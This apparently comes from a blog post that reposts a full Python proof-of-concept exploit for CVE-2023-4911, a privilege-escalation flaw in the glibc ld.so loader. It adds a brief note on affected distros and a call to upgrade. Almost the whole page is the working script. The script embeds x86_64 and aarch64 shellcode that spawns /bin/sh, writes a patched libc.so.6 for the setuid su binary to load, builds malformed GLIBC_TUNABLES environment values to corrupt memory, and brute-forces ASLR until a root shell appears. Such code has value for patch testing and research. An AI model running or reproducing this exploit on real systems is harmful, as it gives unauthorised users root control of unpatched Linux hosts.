Skip to content

Exploit POC for CVE-2023-4911

This is another Severe CVE (CVE-2023-4911) that gives root access on major Linux distros and it has been rated as an high vulnerability with CVSS3 score of 7.8 in NVD as of now. This is undergoing further analysis so this CVSS3 score might change

Contents

CVE-2023-4911 Exploit POC Code

Major researchers have already published POC for this exploit and this is based on the source from Twitter :https://twitter.com/bl4sty/status/1709892681910853922 and some have already confirmed this exploit works!

#
# gnu-acme.py
# ------------------------------------------------------------------------------
# my (bad) attempt at a CVE-2023-4911 exploit
# based on the advisory[1] by Qualys and thumb sucking
#
# if you disable aslr (echo 0 > /proc/sys/kernel/randomize_va_space) it will
# attempt to identify a workable offset for your ld.so, you can add it to TARGETS
#
# tested on glibc 2.35-0ubuntu3 (aarch64) and glibc 2.36-9+deb12u2 (amd64)
#
# enjoy, maybe? and don't ask for support :)
#
# -- blasty <[email protected]>
#
# [1]: https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
#

import binascii
import resource
import struct
import select
import time

import sys
import os

from ctypes import *
from ctypes.util import find_library
from shutil import which

unhex = lambda v: binascii.unhexlify(v.replace(" ", ""))

# setresuid(euid, euid, euid); execve("/bin/sh", ["sh", NULL], NULL);
# exit(0x66)
ARCH = {
    "x86_64": {
        "shellcode": unhex(
            "6a6b580f0589c789c289c66a75580f05"
            + "6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
        ),
        "exitcode": unhex("6a665f6a3c580f05"),
        "stack_top": 0x800000000000,
        "stack_aslr_bits": 34,
    },
    "aarch64": {
        "shellcode": unhex(
            "e81580d2010000d4e10300aae20300aa681280d2010000d4"
            + "ee458cd22ecdadf2eee5c5f2ee65eef20f0d80d2ee3fbfa9e0030091e1031faae2031faaa81b80d2010000d4"
        ),
        "exitcode": unhex("c00c80d2a80b80d2010000d4"),
        "stack_top": 0x1000000000000,
        "stack_aslr_bits": 30,
    },
}

TARGETS = {
    "a8daca28288575ffc8c7641d40901b0148958fb1": 580,
    "a99db3715218b641780b04323e4ae5953d68a927": 561,
}

libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
resource.setrlimit(
    resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY)
)


def error(s):
    print("error: %s" % s)
    exit(-1)


def find_hax_path(blob, offset):
    pos = offset
    while pos > 0:
        if blob[pos] != 0 and blob[pos] != 0x2F and blob[pos + 1] == 0:
            return {"path": bytes([blob[pos]]), "offset": pos - offset}
        pos = pos - 1
    return None


def lolstruct(format, keys, data):
    return dict(zip(keys.split(" "), struct.unpack(format, data)))


def lib_path(libname):
    class LINKMAP(Structure):
        _fields_ = [("l_addr", c_void_p), ("l_name", c_char_p)]

    lib = CDLL(find_library("c"))
    libdl = CDLL(find_library("dl"))
    dlinfo = libdl.dlinfo
    dlinfo.argtypes = c_void_p, c_int, c_void_p
    dlinfo.restype = c_int
    lmptr = c_void_p()
    dlinfo(lib._handle, 2, byref(lmptr))
    return cast(lmptr, POINTER(LINKMAP)).contents.l_name


def execve(filename, cargv, cenvp):
    libc.execve(filename, cargv, cenvp)


def spawn(filename, argv, envp):
    cargv = (c_char_p * len(argv))(*argv)
    cenvp = (c_char_p * len(envp))(*envp)
    child_pid = os.fork()
    # child
    if not child_pid:
        execve(filename, cargv, cenvp)
        exit(0)

    # parent
    start_time = time.time()
    while True:
        try:
            pid, status = os.waitpid(child_pid, os.WNOHANG)
            if pid == child_pid:
                if os.WIFEXITED(status):
                    return os.WEXITSTATUS(status) & 0xFF7F
                else:
                    return 0
        except:
            pass
        current_time = time.time()
        if current_time - start_time >= 1.5:
            print("** ohh... looks like we got a shell? **\n")
            os.waitpid(child_pid, 0)
            return 0x1337


class lazy_elf:
    def __init__(self, filename):
        self.d = open(filename, "rb").read()
        self.h = lolstruct(
            "<HHLQQQLHHHHHH",
            "type machine version entry phoff shoff flags ehsize "
            + "phtentsize phnum shentsize shnum shstrndx",
            self.d[0x10:0x40],
        )
        shstr = self.shdr(self.h["shstrndx"])
        self.section_names = self.d[shstr["offset"] : shstr["offset"] + shstr["size"]]

    def shdr(self, idx):
        pos = self.h["shoff"] + (idx * self.h["shentsize"])
        return lolstruct(
            "<LLQQQQLLQQ",
            "name type flags addr offset size link info addralign entsize",
            self.d[pos : pos + self.h["shentsize"]],
        )

    def shdr_by_name(self, name):
        name = name.encode()
        for i in range(self.h["shnum"]):
            shdr = self.shdr(i)
            if self.section_names[shdr["name"] :].split(b"\x00")[0] == name:
                return shdr
        return None

    def section_by_name(self, name):
        s = self.shdr_by_name(name)
        return self.d[s["offset"] : s["offset"] + s["size"]]

    def symbol(self, name):
        name = name.encode()
        dynsym = self.section_by_name(".dynsym")
        dynstr = self.section_by_name(".dynstr")
        for i in range(len(dynsym) // 24):
            pos = i * 24
            sym = lolstruct(
                "<LBBHQQ",
                "name info other shndx value size",
                dynsym[pos : pos + 24],
            )
            if dynstr[sym["name"] :].split(b"\x00")[0] == name:
                return sym["value"]
        return None


def is_aslr_enabled():
    return int(open("/proc/sys/kernel/randomize_va_space", "r").read()) > 0


def build_env(adjust, addr, offset):
    # heap meh shui
    env = [
        b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
        b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 8,
        b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
        b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"Y" * 24,
    ]

    for j in range(172):
        env.append(b"")

    env.append(struct.pack("<Q", addr))
    env.append(b"")

    for i in range(384):
        env.append(b"")

    for i in range(47):
        env.append(struct.pack("<Q", offset & 0xFFFFFFFFFFFFFFFF) * 16383)

    env.append(None)
    return env


def build_argv(args):
    argv = []
    for arg in args:
        if len(argv) == 0:
            arg = os.path.basename(arg)
        argv.append(arg.encode())
    argv.append(None)
    return argv


def banner():
    print("")
    print("      $$$ glibc ld.so (CVE-2023-4911) exploit $$$")
    print("            -- by blasty <[email protected]> --      ")
    print("")


if __name__ == "__main__":
    banner()

    machine = os.uname().machine

    if machine not in ARCH.keys():
        error("architecture '%s' not supported" % machine)

    print("[i] libc = %s" % lib_path("c").decode())

    su_path = which("su")

    print("[i] su = %s" % su_path)

    suid_e = lazy_elf(su_path)

    ld_path = suid_e.section_by_name(".interp").strip(b"\x00").decode()

    ld_e = lazy_elf(ld_path)

    print("[i] ld.so = %s" % ld_path)

    ld_build_id = binascii.hexlify(
        ld_e.section_by_name(".note.gnu.build-id")[-20:]
    ).decode()

    print("[i] ld.so build id = %s" % ld_build_id)

    libc_e = lazy_elf(lib_path("c"))

    __libc_start_main = libc_e.symbol("__libc_start_main")

    print("[i] __libc_start_main = 0x%x" % __libc_start_main)

    offset = suid_e.shdr_by_name(".dynstr")["offset"]
    hax_path = find_hax_path(suid_e.d, offset)

    if hax_path is None:
        error("could not find hax path")

    print(
        "[i] using hax path %s at offset %d"
        % (
            hax_path["path"],
            hax_path["offset"],
        )
    )

    if ld_build_id not in TARGETS.keys():
        error("no target info found for build id %s" % ld_build_id)

    if not os.path.exists(hax_path["path"]):
        os.mkdir(hax_path["path"])

    argv = build_argv([su_path, "--help"])

    if not is_aslr_enabled():
        print("[i] ASLR is not enabled, attempting to find usable offsets")

        shellcode = ARCH[machine]["exitcode"]

        with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:
            fh.write(libc_e.d[0:__libc_start_main])
            fh.write(shellcode)
            fh.write(libc_e.d[__libc_start_main + len(shellcode) :])
        print("[i] wrote patched libc.so.6")

        stack_addr = ARCH[machine]["stack_top"] - 0x2000
        stack_addr += 0x103

        print("[i] using stack addr 0x%x" % stack_addr)

        for adjust in range(128, 1024):
            env = build_env(adjust, stack_addr, hax_path["offset"])
            r = spawn(su_path.encode(), argv, env)
            print("%d = %d" % (adjust, r))
            if r == 0x66:
                print(
                    "found working offset for ld.so '%s' -> %d" % (ld_build_id, adjust)
                )

    else:
        shellcode = ARCH[machine]["shellcode"]

        with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:
            fh.write(libc_e.d[0:__libc_start_main])
            fh.write(shellcode)
            fh.write(libc_e.d[__libc_start_main + len(shellcode) :])
        print("[i] wrote patched libc.so.6")

        stack_addr = ARCH[machine]["stack_top"] - (
            1 << (ARCH[machine]["stack_aslr_bits"] - 1)
        )
        stack_addr += 3
        # avoid NULL bytes in guessy addr (out of sheer laziness really)
        for i in range(6):
            if (stack_addr >> (i * 8)) & 0xFF == 0:
                stack_addr |= 0x10 << (i * 8)

        print("[i] using stack addr 0x%x" % stack_addr)

        env = build_env(TARGETS[ld_build_id], stack_addr, hax_path["offset"])

        cnt = 0
        while True:
            if cnt % 0x10 == 0:
                sys.stdout.write(".")
                sys.stdout.flush()
            if spawn(su_path.encode(), argv, env) == 0x1337:
                print("goodbye.")
                exit(0)
            cnt += 1

Affected versions of Linux Distros:

Almost all the version of Fedora, Ubuntu, and Debian might be affected as they make extensive use of glibc. Upgrade to the latest versions of Fedora, Ubuntu and Debian as soon as possible. Certain Linux distros like Alpine Linux might not have any impact as they used musl libc instead of glibc!